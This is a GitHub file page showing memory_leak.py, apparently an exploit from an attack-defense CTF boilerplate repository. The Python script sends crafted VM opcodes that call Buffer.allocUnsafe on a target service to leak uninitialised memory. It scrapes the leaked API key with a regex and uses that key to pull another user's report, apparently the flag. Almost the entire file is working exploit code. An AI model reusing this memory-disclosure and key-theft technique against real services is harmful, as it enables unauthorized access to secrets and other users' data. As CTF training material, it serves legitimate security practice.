generated from C4T-BuT-S4D/ad-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmemory_leak.py
executable file
·121 lines (91 loc) · 2.37 KB
/
memory_leak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
import sys
import requests
from enum import Enum, auto, unique
from time import sleep
from uuid import uuid4
import re
@unique
class OPCODE(Enum):
def _generate_next_value_(name, start, count, last_values):
return name
def __str__(self):
return self.name
OP_PUSH = auto()
OP_POP = auto()
OP_DUP = auto()
OP_SWAP = auto()
OP_HIDE = auto()
OP_CALL = auto()
OP_INVOKE = auto()
OP_RESET = auto()
OP_JMP = auto()
OP_JMPIF = auto()
OP_JMPNIF = auto()
OP_REPORT = auto()
OP_ADD = auto()
OP_SUB = auto()
OP_HLTCHK = auto()
OP_HLTNCHK = auto()
class VM:
def __init__(self):
self.opcodes = []
def push(self, *opcode):
self.opcodes.append(list(opcode))
def serialize(self) -> list:
return [[str(opcode[0])] + opcode[1:] for opcode in self.opcodes]
ip = sys.argv[1]
hint = sys.argv[2]
vm = VM()
vm.push(OPCODE.OP_RESET)
vm.push(OPCODE.OP_PUSH, 100)
vm.push(OPCODE.OP_PUSH, 1)
vm.push(OPCODE.OP_CALL, "context_Buffer_allocUnsafe")
vm.push(OPCODE.OP_DUP)
vm.push(OPCODE.OP_DUP)
vm.push(OPCODE.OP_PUSH, "_KEY")
vm.push(OPCODE.OP_SWAP)
vm.push(OPCODE.OP_PUSH, 1)
vm.push(OPCODE.OP_SWAP)
vm.push(OPCODE.OP_INVOKE, "indexOf")
vm.push(OPCODE.OP_PUSH, 1)
vm.push(OPCODE.OP_ADD)
vm.push(OPCODE.OP_JMPIF, 13)
vm.push(OPCODE.OP_PUSH, "API_")
vm.push(OPCODE.OP_SWAP)
vm.push(OPCODE.OP_PUSH, 1)
vm.push(OPCODE.OP_SWAP)
vm.push(OPCODE.OP_INVOKE, "indexOf")
vm.push(OPCODE.OP_PUSH, 1)
vm.push(OPCODE.OP_ADD)
vm.push(OPCODE.OP_HLTNCHK)
vm.push(OPCODE.OP_JMP, 22)
opcodes = vm.serialize()
access_key = uuid4()
key = None
while True:
ids = []
for i in range(5):
r = requests.post(f"http://{ip}:5678/api/execute", params={
"accessKey": access_key
}, json={
"opcodes": opcodes
})
ids.append(r.json()["result"]["vmId"])
sleep(3)
for idx in ids:
r = requests.get(f"http://{ip}:5678/api/getReport", params={
"accessKey": access_key,
"vmId": idx
})
keys = re.findall(rb"API_[A-Z2-7]{16}_KEY", r.content)
if len(keys) > 0:
key = keys[0].decode()
break
if key is not None:
break
r = requests.get(f"http://{ip}:5678/api/executor/getReport", params={
"apiKey": key,
"vmId": hint
})
print(r.json()["result"], flush=True)